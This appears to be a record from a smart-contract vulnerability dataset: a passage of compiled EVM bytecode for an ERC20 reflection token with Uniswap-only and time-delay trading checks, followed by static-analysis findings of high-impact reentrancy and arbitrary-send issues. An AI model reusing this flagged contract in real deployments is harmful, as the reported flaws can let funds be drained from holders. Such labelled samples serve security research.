aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a190613160565b60405180910390fd5b8091505092915050565b60006127be6123a6565b905060006127d582846121b990919063ffffffff16565b905061282981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128868260065461270c90919063ffffffff16565b6006819055506128a18160075461275690919063ffffffff16565b6007819055505050565b6000806000806128d760646128c9888a6121b990919063ffffffff16565b61223490919063ffffffff16565b9050600061290160646128f3888b6121b990919063ffffffff16565b61223490919063ffffffff16565b9050600061292a8261291c858c61270c90919063ffffffff16565b61270c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061295a85896121b990919063ffffffff16565b9050600061297186896121b990919063ffffffff16565b9050600061298887896121b990919063ffffffff16565b905060006129b1826129a3858761270c90919063ffffffff16565b61270c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129dd6129d884613375565b613350565b905080838252602082019050828560208602820111156129fc57600080fd5b60005b85811015612a2c5781612a128882612a36565b8452602084019350602083019250506001810190506129ff565b5050509392505050565b600081359050612a4581613a05565b92915050565b600081519050612a5a81613a05565b92915050565b600082601f830112612a7157600080fd5b8135612a818482602086016129ca565b91505092915050565b600081359050612a9981613a1c565b92915050565b600081519050612aae81613a1c565b92915050565b600081359050612ac381613a33565b92915050565b600081519050612ad881613a33565b92915050565b600060208284031215612af057600080fd5b6000612afe84828501612a36565b91505092915050565b600060208284031215612b1957600080fd5b6000612b2784828501612a4b565b91505092915050565b60008060408385031215612b4357600080fd5b6000612b5185828601612a36565b9250506020612b6285828601612a36565b9150509250929050565b600080600060608486031215612b8157600080fd5b6000612b8f86828701612a36565b9350506020612ba086828701612a36565b9250506040612bb186828701612ab4565b9150509250925092565b60008060408385031215612bce57600080fd5b6000612bdc85828601612a36565b9250506020612bed85828601612ab4565b9150509250929050565b600060208284031215612c0957600080fd5b600082013567ffffffffffffffff811115612c2357600080fd5b612c2f84828501612a60565b91505092915050565b600060208284031215612c4a57600080fd5b6000612c5884828501612a8a565b91505092915050565b600060208284031215612c7357600080fd5b6000612c8184828501612a9f565b91505092915050565b600060208284031215612c9c57600080fd5b6000612caa84828501612ab4565b91505092915050565b600080600060608486031215612cc857600080fd5b6000612cd686828701612ac9565b9350506020612ce786828701612ac9565b9250506040612cf886828701612ac9565b9150509250925092565b6000612d0e8383612d1a565b60208301905092915050565b612d238161350b565b82525050565b612d328161350b565b82525050565b6000612d43826133b1565b612d4d81856133d4565b9350612d58836133a1565b8060005b83811015612d89578151612d708882612d02565b9750612d7b836133c7565b925050600181019050612d5c565b5085935050505092915050565b612d9f8161351d565b82525050565b612dae81613560565b82525050565b6000612dbf826133bc565b612dc981856133e5565b9350612dd9818560208601613572565b612de2816136ac565b840191505092915050565b6000612dfa6023836133e5565b9150612e05826136bd565b604082019050919050565b6000612e1d602a836133e5565b9150612e288261370c565b604082019050919050565b6000612e406022836133e5565b9150612e4b8261375b565b604082019050919050565b6000612e63601b836133e5565b9150612e6e826137aa565b602082019050919050565b6000612e86601b836133e5565b9150612e91826137d3565b602082019050919050565b6000612ea9601d836133e5565b9150612eb4826137fc565b602082019050919050565b6000612ecc6017836133e5565b9150612ed782613825565b602082019050919050565b6000612eef6021836133e5565b9150612efa8261384e565b604082019050919050565b6000612f126020836133e5565b9150612f1d8261389d565b602082019050919050565b6000612f356029836133e5565b9150612f40826138c6565b604082019050919050565b6000612f586025836133e5565b9150612f6382613915565b604082019050919050565b6000612f7b6024836133e5565b9150612f8682613964565b604082019050919050565b6000612f9e6011836133e5565b9150612fa9826139b3565b602082019050919050565b6000612fc16018836133e5565b9150612fcc826139dc565b602082019050919050565b612fe081613549565b82525050565b612fef81613553565b82525050565b600060208201905061300a6000830184612d29565b92915050565b60006040820190506130256000830185612d29565b6130326020830184612d29565b9392505050565b600060408201905061304e6000830185612d29565b61305b6020830184612fd7565b9392505050565b600060c0820190506130776000830189612d29565b6130846020830188612fd7565b6130916040830187612da5565b61309e6060830186612da5565b6130ab6080830185612d29565b6130b860a0830184612fd7565b979650505050505050565b60006020820190506130d86000830184612d96565b92915050565b600060208201905081810360008301526130f88184612db4565b905092915050565b6000602082019050818103600083015261311981612ded565b9050919050565b6000602082019050818103600083015261313981612e10565b9050919050565b6000602082019050818103600083015261315981612e33565b9050919050565b6000602082019050818103600083015261317981612e56565b9050919050565b6000602082019050818103600083015261319981612e79565b9050919050565b600060208201905081810360008301526131b981612e9c565b9050919050565b600060208201905081810360008301526131d981612ebf565b9050919050565b600060208201905081810360008301526131f981612ee2565b9050919050565b6000602082019050818103600083015261321981612f05565b9050919050565b6000602082019050818103600083015261323981612f28565b9050919050565b6000602082019050818103600083015261325981612f4b565b9050919050565b6000602082019050818103600083015261327981612f6e565b9050919050565b6000602082019050818103600083015261329981612f91565b9050919050565b600060208201905081810360008301526132b981612fb4565b9050919050565b60006020820190506132d56000830184612fd7565b92915050565b600060a0820190506132f06000830188612fd7565b6132fd6020830187612da5565b818103604083015261330f8186612d38565b905061331e6060830185612d29565b61332b6080830184612fd7565b9695505050505050565b600060208201905061334a6000830184612fe6565b92915050565b600061335a61336b565b905061336682826135a5565b919050565b6000604051905090565b600067ffffffffffffffff8211156133905761338f61367d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061340182613549565b915061340c83613549565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134415761344061361f565b5b828201905092915050565b600061345782613549565b915061346283613549565b9250826134725761347161364e565b5b828204905092915050565b600061348882613549565b915061349383613549565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134cc576134cb61361f565b5b828202905092915050565b60006134e282613549565b91506134ed83613549565b925082821015613500576134ff61361f565b5b828203905092915050565b600061351682613529565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061356b82613549565b9050919050565b60005b83811015613590578082015181840152602081019050613575565b8381111561359f576000848401525b50505050565b6135ae826136ac565b810181811067ffffffffffffffff821117156135cd576135cc61367d565b5b80604052505050565b60006135e182613549565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136145761361361361f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b7f4552523a205472792032206d696e75746573206c617465720000000000000000600082015250565b613a0e8161350b565b8114613a1957600080fd5b50565b613a258161351d565b8114613a3057600080fd5b50565b613a3c81613549565b8114613a4757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220933218ca7b60c7d8de03e0d0987d16d045663f1067da17b89a90cb1c90780d8b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,899